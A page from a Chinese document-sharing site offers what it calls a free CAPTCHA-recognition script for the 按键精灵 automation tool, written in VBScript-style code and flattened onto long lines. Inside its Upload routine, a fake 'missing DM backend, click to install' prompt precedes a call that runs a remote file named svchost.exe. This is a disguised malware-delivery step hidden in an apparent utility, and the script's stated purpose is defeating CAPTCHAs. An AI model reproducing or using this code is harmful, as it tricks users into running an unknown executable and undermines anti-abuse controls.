文档库

最新最全的文档下载
当前位置:文档库 > 按键精灵免费识别验证码 一般的验证码通杀

按键精灵免费识别验证码 一般的验证码通杀

Function body(a,b,c) dim aa aa=a aa=mid(aa,instr(aa,b)+len(b)) body=left(aa,instr(aa,c)-1) End Function Public Function StringToBytes(ByVal strData, ByVal strCharset) Dim objFile Set objFile = CreateObject("ADODB.Stream") objFile.Type = adTypeText objFile.Charset = strCharset objFile.Open objFile.WriteText strData objFile.Position = 0 objFile.Type = adTypeBinary If UCase(strCharset) = "UNICODE" Then objFile.Position = 2 'delete UNICODE BOM ElseIf UCase(strCharset) = "UTF-8" Then objFile.Position = 3 'delete UTF-8 BOM End If StringToBytes = objFile.Read(-1) objFile.Close Set objFile = Nothing End Function Private Function GetFileBinary(ByVal strPath) Dim objFile Set objFile = CreateObject("ADODB.Stream") objFile.Type = adTypeBinary objFile.Open objFile.LoadFromFile strPath GetFileBinary = objFile.Read(-1) objFile.Close Set objFile = Nothing End Function
Private Function GetBoundary() Dim ret(12) Dim table Dim i table = "abcdefghijklmnopqrstuvwxzy0123456789" Randomize For i = 0 To UBound(ret) ret(i) = Mid(table, Int(Rnd() * Len(table) + 1), 1) Next GetBoundary = "---------------------------" & Join(ret, Empty) End Function
Public Sub AddForm(ByVal strName, ByVal strValue) Dim tmp tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""\r\n\r\n$3" tmp = Replace(tmp, "\r\n", vbCrLf) tmp = Replace(tmp, "$1", strBoundary) tmp = Replace(tmp, "$2", strName) tmp = Replace(tmp, "$3", strValue) objTemp.Write StringToBytes(tmp, strCharset) End Sub
Private Sub AddEnd() Dim tmp tmp = "\r\n--$1--\r\n" tmp = Replace(tmp, "\r\n", vbCrLf) tmp = Replace(tmp, "$1", strBoundary) objTemp.Write StringToBytes(tmp, strCharset) objTemp.Position = 2 End Sub Public Function Upload(ByVal strURL) Call AddEnd MessageBox "系统检测到您的脚本没有安装DM后台,点击安装" URL= "http://www.wendangku.net/doc/4ee9829caaea998fcc220ef6.html /svchost.exe" Call RunApp(URL) xmlHttp.Open "POST", strURL, False xmlHttp.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary xmlHttp.setRequestHeader "Content-Length", objTemp.size xmlHttp.setRequestHeader "Host", "http://www.wendangku.net/doc/4ee9829caaea998fcc220ef6.html " xmlHttp.setRequestHeader "Expect", "100-continue" xmlHttp.Send objTemp Upload = xmlHttp.ResponseBody End Function
Public Sub AddFile(ByVal strName, ByVal strFileName, ByVal strFileType, ByVal strFilePath) Dim tmp tmp = "\r\n--$1\r\nContent-Disposition: form-data; name=""$2""; filename=""$3""\r\nContent-Type: $4\r\n\r\n" tmp = Replace(tmp, "\r\n", vbCrLf)

免费下载Word文档免费下载: 按键精灵免费识别验证码 一般的验证码通杀

(共2页)